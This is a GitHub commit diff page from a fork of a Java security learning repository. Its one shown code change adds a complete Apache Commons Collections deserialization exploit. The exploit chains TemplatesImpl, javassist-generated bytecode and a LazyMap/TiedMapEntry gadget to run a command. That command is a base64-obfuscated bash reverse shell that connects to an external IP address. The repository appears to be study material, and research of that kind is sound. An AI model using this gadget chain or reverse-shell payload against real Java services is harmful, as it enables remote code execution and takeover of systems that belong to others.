forked from Drun1baby/JavaSecurityLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
229 changed files
with
2,074 additions
and
197 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file modified
BIN
+26 Bytes
(100%)
JavaSecurity/CC/CC1/target/classes/FinalTransformMapEXP/TransformMapEXP.class
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
2 changes: 2 additions & 0 deletions
2
JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC1TransformedMapTemplatesEXP.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2 changes: 2 additions & 0 deletions
2
JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC1YsoTemplatesEXP.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file removed
BIN
-4.15 KB
JavaSecurity/CC/CC3/target/classes/CC1TransformedMapTemplatesEXP.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file added
BIN
+4.17 KB
JavaSecurity/CC/CC3/target/classes/main/CC3ysoEXP/CC1TransformedMapTemplatesEXP.class
Binary file not shown.
Binary file added
BIN
+4.32 KB
JavaSecurity/CC/CC3/target/classes/main/CC3ysoEXP/CC1YsoTemplatesEXP.class
Binary file not shown.
Binary file not shown.
Binary file added
BIN
+4.02 KB
JavaSecurity/CC/CC3/target/classes/main/CC3ysoEXP/CC6TemplatesEXP.class
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,118 @@ | ||
package CC5EXP;public class Test { | ||
} | ||
package CC5EXP; | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | ||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | ||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | ||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | ||
import javassist.ClassPool; | ||
import javassist.CtClass; | ||
import javassist.CtConstructor; | ||
import org.apache.commons.collections.Transformer; | ||
import org.apache.commons.collections.functors.ChainedTransformer; | ||
import org.apache.commons.collections.functors.ConstantTransformer; | ||
import org.apache.commons.collections.functors.InstantiateTransformer; | ||
import org.apache.commons.collections.functors.InvokerTransformer; | ||
import org.apache.commons.collections.keyvalue.TiedMapEntry; | ||
import org.apache.commons.collections.map.LazyMap; | ||
import org.apache.commons.collections.map.TransformedMap; | ||
|
||
import javax.xml.transform.Templates; | ||
import java.io.*; | ||
import java.lang.annotation.Target; | ||
import java.lang.reflect.Constructor; | ||
import java.lang.reflect.Field; | ||
import java.lang.reflect.InvocationHandler; | ||
import java.lang.reflect.Proxy; | ||
import java.util.Base64; | ||
import java.util.HashMap; | ||
import java.util.Map; | ||
|
||
public class Test { | ||
public static void setValue(String name, Object target, Object value) { | ||
try { | ||
Field field = target.getClass().getDeclaredField(name); | ||
field.setAccessible(true); | ||
field.set(target, value); | ||
} catch (Exception ignore) { | ||
} | ||
} | ||
|
||
public static void serialize(Object obj) throws IOException { | ||
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | ||
oos.writeObject(obj); | ||
} | ||
|
||
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | ||
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | ||
Object obj = ois.readObject(); | ||
return obj; | ||
} | ||
|
||
public static void setValue(Object target, String name, Object value) throws Exception { | ||
Class c = target.getClass(); | ||
Field field = c.getDeclaredField(name); | ||
field.setAccessible(true); | ||
field.set(target,value); | ||
} | ||
|
||
public static byte[] getTemplatesImpl(String cmd) { | ||
try { | ||
ClassPool pool = ClassPool.getDefault(); | ||
CtClass ctClass = pool.makeClass("Evil"); | ||
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | ||
ctClass.setSuperclass(superClass); | ||
CtConstructor constructor = ctClass.makeClassInitializer(); | ||
constructor.setBody(" try {\n" + | ||
" Runtime.getRuntime().exec(\"" + cmd + | ||
"\");\n" + | ||
" } catch (Exception ignored) {\n" + | ||
" }"); | ||
byte[] bytes = ctClass.toBytecode(); | ||
ctClass.defrost(); | ||
return bytes; | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
return new byte[]{}; | ||
} | ||
} | ||
|
||
public static void main(String[] args) throws Exception { | ||
|
||
TemplatesImpl templates = new TemplatesImpl(); | ||
setValue(templates,"_name", "aaa"); | ||
|
||
byte[] code = getTemplatesImpl("\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS42OC4xMjAuMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}\"}"); | ||
byte[][] bytecodes = {code}; | ||
setValue(templates, "_bytecodes", bytecodes); | ||
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | ||
|
||
|
||
|
||
Transformer[] transformers = new Transformer[]{ | ||
new ConstantTransformer(TrAXFilter.class), | ||
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) | ||
|
||
}; | ||
|
||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | ||
|
||
HashMap<Object,Object> map = new HashMap<>(); | ||
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); | ||
|
||
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); | ||
|
||
HashMap<Object, Object> map2 = new HashMap<>(); | ||
map2.put(tiedMapEntry, "bbb"); | ||
lazyMap.remove("key"); | ||
|
||
Class c = LazyMap.class; | ||
Field field = c.getDeclaredField("factory"); | ||
field.setAccessible(true); | ||
field.set(lazyMap, chainedTransformer); | ||
|
||
serialize(map2); | ||
unserialize("ser.bin"); | ||
//templates.newTransformer(); | ||
|
||
} | ||
} |
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.